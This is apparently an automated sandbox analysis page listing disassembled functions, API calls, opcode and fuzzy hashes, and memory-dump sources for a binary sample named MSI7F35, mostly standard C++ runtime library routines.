Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: FreeLocal_strcspn
String ID:
API String ID: 2585785616-0
Opcode ID: c9c9ca1412bac32ee3ef8b40b7847426ea48f9604dafa0df484f57bfa04bea77
Instruction ID: cc4e31216d0ae9633d616571d10b3d41e655a4932d2bec56ab2c2594396b64b1
Opcode Fuzzy Hash: c9c9ca1412bac32ee3ef8b40b7847426ea48f9604dafa0df484f57bfa04bea77
Instruction Fuzzy Hash: 2EF16571A00249DFDF14CFA8C884AEEBBB6FF48304F144569E815EB291D731AA85CB91

Function 0084738B Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(58A46C4B,?,00000000,?), ref: 008473EE

Part of subcall function 0084002B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,0083C527,?,00000000,-00000008), ref: 008400D7

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00847649
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00847691
GetLastError.KERNEL32 ref: 00847734

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: fd2749f2295cfb8a804c490db9be6f1254e91dd6fe73bcdacf26da10199c8165
Instruction ID: fa5f2a9869164e9fcfcae8dbcea764b9c2172e9a606ca722433a6e65fe73a86d
Opcode Fuzzy Hash: fd2749f2295cfb8a804c490db9be6f1254e91dd6fe73bcdacf26da10199c8165
Instruction Fuzzy Hash: FFD187B5E0465C9FCF11CFA8D8809ADBBB5FF49304F18852AE866EB351D730A906CB50

Function 00818872 Relevance: 6.3, APIs: 4, Instructions: 313COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00818879
_strcspn.LIBCMT ref: 008188E4
_strcspn.LIBCMT ref: 00818904
ctype.LIBCPMT ref: 00818974

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID:
API String ID: 838279627-0
Opcode ID: 5f043ad1800a79883368e821f1b22dc708d086cf756eddb72fa75f74e27d0ada
Instruction ID: e6773caceb605948457b1a0df57f533e5e2da2361acc936567be2926fd0d9383
Opcode Fuzzy Hash: 5f043ad1800a79883368e821f1b22dc708d086cf756eddb72fa75f74e27d0ada
Instruction Fuzzy Hash: 16C14B71900259DFDF15DF98C9819EEBBB9FF48310F54402AE805EB251DB34AE85CBA2

Function 00812A16 Relevance: 6.3, APIs: 4, Instructions: 310COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00812A1D
_strcspn.LIBCMT ref: 00812A88
_strcspn.LIBCMT ref: 00812AA8
ctype.LIBCPMT ref: 00812B18

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID:
API String ID: 838279627-0
Opcode ID: 4dfb9e0057aa31b43f95f69f2643932b0fcb91bd61b15e9af7afbb6f1a6b99b4
Instruction ID: 4cbe383a54f19dee21dcd7388c79eb172e607c9bc4da566d8af71f9b119eb59f
Opcode Fuzzy Hash: 4dfb9e0057aa31b43f95f69f2643932b0fcb91bd61b15e9af7afbb6f1a6b99b4
Instruction Fuzzy Hash: ADC13471900249DFDF14DFA8C980AEEBBB9FF48310F14441AE805EB251D730AE95CBA1

Function 00824F20 Relevance: 6.3, APIs: 4, Instructions: 277COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00824F27
collate.LIBCPMT ref: 00824F33

Part of subcall function 00823E70: __EH_prolog3_GS.LIBCMT ref: 00823E77
Part of subcall function 00823E70: __Getcoll.LIBCPMT ref: 00823EDB

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

__Getcoll.LIBCPMT ref: 00824F76

Part of subcall function 00823CD4: __EH_prolog3.LIBCMT ref: 00823CDB
Part of subcall function 00823CD4: std::_Lockit::_Lockit.LIBCPMT ref: 00823CE5
Part of subcall function 00823CD4: std::_Lockit::~_Lockit.LIBCPMT ref: 00823D56

Part of subcall function 00814403: __EH_prolog3.LIBCMT ref: 0081440A
Part of subcall function 00814403: std::_Lockit::_Lockit.LIBCPMT ref: 00814414
Part of subcall function 00814403: std::_Lockit::~_Lockit.LIBCPMT ref: 008144BB

numpunct.LIBCPMT ref: 008251A6

Part of subcall function 008084C0: LocalAlloc.KERNEL32(00000040,00000000,0082839D,00000000,58A46C4B,?,00000000,?,00000000,?,0084CB8D,000000FF,?,008017D5,00000000,0084D3BA), ref: 008084C6

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_$Getcoll$AllocH_prolog3_Localcollatenumpunct
String ID:
API String ID: 2732324234-0
Opcode ID: 856fb6c8b728169c6624e4c6bdd8098afa46fb717e7eb2e5c56ddb9d2719bad4
Instruction ID: 6fc2b52e944d943378b0dac802115e77458bb12e550f8c3cfecf7574311d0a72
Opcode Fuzzy Hash: 856fb6c8b728169c6624e4c6bdd8098afa46fb717e7eb2e5c56ddb9d2719bad4
Instruction Fuzzy Hash: D991EB71C41A35ABD720ABA8AC02B7F7AA8FF91360F11451DF955D7282DF748D8087E2

Function 0082AFD5 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0082B09C
___AdjustPointer.LIBCMT ref: 0082B0BF
___AdjustPointer.LIBCMT ref: 0082B15B

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 817cb86a57a0cb171585ee84e44270a37b218172c679422415ca443eabba1648
Instruction ID: 7c7c84c01940ed096bee55a22125ea4090462d13166954d8722204b5a345694b
Opcode Fuzzy Hash: 817cb86a57a0cb171585ee84e44270a37b218172c679422415ca443eabba1648
Instruction Fuzzy Hash: 8451D272602726AFEB2A8F18E851B6A77A4FF10310F144529ED52C7291DB32ECD0CB91

Function 00837B18 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47b8b3474f6b39d8712ed6e29241b6ceebe62ca8fde3977c741147a8e534ef29
Instruction ID: 69b7d8570211843e78f3243e4d41566091ad6a4c991edae11fde0c2d6ced8e85
Opcode Fuzzy Hash: 47b8b3474f6b39d8712ed6e29241b6ceebe62ca8fde3977c741147a8e534ef29
Instruction Fuzzy Hash: 0F218BB1208219AF9B30AF659840D6AB7A9FF903B8B108929F915D7240EB70EC4087E1

Function 00809020 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,75EF5490,00808B3A,00000000,?,?,?,?,?,?,?,00000000,0084A285,000000FF), ref: 00809027

Strings

Last error=, xrefs: 00809081
> returned:, xrefs: 00809036
Call to ShellExecute() for verb<, xrefs: 00809031

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: ErrorLast
String ID: > returned:$Call to ShellExecute() for verb<$Last error=
API String ID: 1452528299-1781106413
Opcode ID: c9d4287a2d3b3d7dc51525077a41c7faad0f78e985acaee24a0b61f395382352
Instruction ID: 3bd53ff141562dd6f7c0d566a60e6d82cfa60f3b1be7874f1d50b4d43d9fa24b
Opcode Fuzzy Hash: c9d4287a2d3b3d7dc51525077a41c7faad0f78e985acaee24a0b61f395382352
Instruction Fuzzy Hash: A5217959A2066186CBB41F6C880133AA2F0FF64756F25046FEDC9C73D2FA698C85C392

Function 00814403 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0081440A
std::_Lockit::_Lockit.LIBCPMT ref: 00814414
std::_Lockit::~_Lockit.LIBCPMT ref: 008144BB
Concurrency::cancel_current_task.LIBCPMT ref: 008144C6

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Lockitstd::_$Concurrency::cancel_current_taskH_prolog3Lockit::_Lockit::~_
String ID:
API String ID: 4244582100-0
Opcode ID: 6feac0f17c7d35579fbae3253280b2097d5fe5a898aa24a17a72e60026dbc489
Instruction ID: cfedd59805ecbbf3c04025adf878602b17486e2765ad55fc4ffd22349e47c386
Opcode Fuzzy Hash: 6feac0f17c7d35579fbae3253280b2097d5fe5a898aa24a17a72e60026dbc489
Instruction Fuzzy Hash: 81212A34A0162ADFCB04EF18C891AA8B765FF49710F148419E9169B391CB70ED91CB84

Function 00811400 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000,58A46C4B), ref: 0081143C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 0081145C
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 0081148D
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 008114A6

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: 6d3ef6bdf6161724d942460002ae0be9db67fc6c1c26a36fa783bb8125050127
Instruction ID: a61f02e82a97e46406dfa650ae09b0c66ace503951306cb80250a09d8b01a1f5
Opcode Fuzzy Hash: 6d3ef6bdf6161724d942460002ae0be9db67fc6c1c26a36fa783bb8125050127
Instruction Fuzzy Hash: 51218174945718EBD720DF54DC0AF9ABBB8FB05B24F10425AFA10E72C0D7B45A45CB98

Function 008180C5 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008180CC
std::_Lockit::_Lockit.LIBCPMT ref: 008180D6

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

std::_Facet_Register.LIBCPMT ref: 00818127
std::_Lockit::~_Lockit.LIBCPMT ref: 00818147

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 2e51131a44dc073ef647203650e55301e22042af93db007d63d5f1cd8bcd20c5
Instruction ID: 4b1beeeb3f85a22a27495766b47eb7d02dcc72df2532501988583b385b241232
Opcode Fuzzy Hash: 2e51131a44dc073ef647203650e55301e22042af93db007d63d5f1cd8bcd20c5
Instruction Fuzzy Hash: A401D676940229EBCF05EBA8DC466ED7769FF80310F250409E520E72D1DF709E86C782

Function 008181EF Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008181F6
std::_Lockit::_Lockit.LIBCPMT ref: 00818200

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

std::_Facet_Register.LIBCPMT ref: 00818251
std::_Lockit::~_Lockit.LIBCPMT ref: 00818271

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 91d98cfb2fb43336b99e3d7101836b085673dcef303b8c8d9cc683b3f18cf67e
Instruction ID: d5a6d8f9959726a9aa61231d03df7d00a462831806d6e575977f7442f8b89e05
Opcode Fuzzy Hash: 91d98cfb2fb43336b99e3d7101836b085673dcef303b8c8d9cc683b3f18cf67e
Instruction Fuzzy Hash: AA01C435900629DBCF06EBA8D8066EDBB65FF80710F250409E810E72D1DF709E818B82

Function 0081815A Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00818161
std::_Lockit::_Lockit.LIBCPMT ref: 0081816B

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

std::_Facet_Register.LIBCPMT ref: 008181BC
std::_Lockit::~_Lockit.LIBCPMT ref: 008181DC

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: a957db4f8b0363c0af982876ca2d6f4856ee0e1d8aa5994fc72d579b50129fb7
Instruction ID: 7f3207ed864ddd965c2f6deeadb33c333619c72dfad1537f04ff8a71bdd4f6fc
Opcode Fuzzy Hash: a957db4f8b0363c0af982876ca2d6f4856ee0e1d8aa5994fc72d579b50129fb7
Instruction Fuzzy Hash: 3001C835900619DBCB01EBA8D8066EE77A9FF84320F150509E410E72D1DF709E82CB82

Function 008126F9 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00812700
std::_Lockit::_Lockit.LIBCPMT ref: 0081270A

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

std::_Facet_Register.LIBCPMT ref: 0081275B
std::_Lockit::~_Lockit.LIBCPMT ref: 0081277B

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 963e10b9af82280204fa16a7f5c61858150bed7d190254f3a2d896ab453afc08
Instruction ID: ddd1a29b27b43dec3e47f69c8a73fc0d065e78230fb5bddbbd17ced7374a9cf7
Opcode Fuzzy Hash: 963e10b9af82280204fa16a7f5c61858150bed7d190254f3a2d896ab453afc08
Instruction Fuzzy Hash: A301D635900219DBCF00EBA8D8156EEB7A9FF84310F240509E920E72D2DF709E818B82

Function 0081278E Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00812795
std::_Lockit::_Lockit.LIBCPMT ref: 0081279F

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

std::_Facet_Register.LIBCPMT ref: 008127F0
std::_Lockit::~_Lockit.LIBCPMT ref: 00812810

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: cadb2068238bbc67d8190774149437eb94364b93572c310d3aea0dc45fe4ca37
Instruction ID: 06112cd54072569a88df384169bc5d7daacf276c5fa95c4e556ea98b7e59c348
Opcode Fuzzy Hash: cadb2068238bbc67d8190774149437eb94364b93572c310d3aea0dc45fe4ca37
Instruction Fuzzy Hash: CD018035901619DBCF05EFA8D8056EEBBA9FF81320F250519E510EB2D2DF749E918B82

Function 008179C9 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008179D0
std::_Lockit::_Lockit.LIBCPMT ref: 008179DA

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

std::_Facet_Register.LIBCPMT ref: 00817A2B
std::_Lockit::~_Lockit.LIBCPMT ref: 00817A4B

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 35d95642bf1e81a92671740d89f66d6d648f30386e97ab9f3d848b6ad5a6822b
Instruction ID: 7ce7078e77537922d1af91638a65c35f2e2d9839cb392dc4bd2927af932aa6cf
Opcode Fuzzy Hash: 35d95642bf1e81a92671740d89f66d6d648f30386e97ab9f3d848b6ad5a6822b
Instruction Fuzzy Hash: A201C035940229DBCB01EBA8D8056EEBB79FF80310F29040DE521EB2D1DF709E81CB82

Function 008239EB Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008239F2
std::_Lockit::_Lockit.LIBCPMT ref: 008239FC

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

std::_Facet_Register.LIBCPMT ref: 00823A4D
std::_Lockit::~_Lockit.LIBCPMT ref: 00823A6D

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: ac380dd4b10f8cf1c041152d3d7940ff080b632073332fc6afa43f136aa780b8
Instruction ID: 76d2db3dcafd3a5789d98c29968d8ae91d7031ac319b22586443ee65e148f2bd
Opcode Fuzzy Hash: ac380dd4b10f8cf1c041152d3d7940ff080b632073332fc6afa43f136aa780b8
Instruction Fuzzy Hash: CC01AD35900639EBCF00EBA8E8156ADBB65FF80310F250119E412EB2D1DF749F858B82

Function 00823A80 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00823A87
std::_Lockit::_Lockit.LIBCPMT ref: 00823A91

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

std::_Facet_Register.LIBCPMT ref: 00823AE2
std::_Lockit::~_Lockit.LIBCPMT ref: 00823B02

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: dac2f8db6f0e319820d69130fe09b2c2ef0e45c6ea3bb540166f2a59c36787e7
Instruction ID: 519852a2f9f0c24c50956a4da6692c30358d4acebdd372b2ab8107cb2f93ca64
Opcode Fuzzy Hash: dac2f8db6f0e319820d69130fe09b2c2ef0e45c6ea3bb540166f2a59c36787e7
Instruction Fuzzy Hash: D901C035900639DBCF01EBA8E8166ADBB65FF80310F250409E411EB2D1DF749E81CB82

Function 00817AF3 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00817AFA
std::_Lockit::_Lockit.LIBCPMT ref: 00817B04

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

std::_Facet_Register.LIBCPMT ref: 00817B55
std::_Lockit::~_Lockit.LIBCPMT ref: 00817B75

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

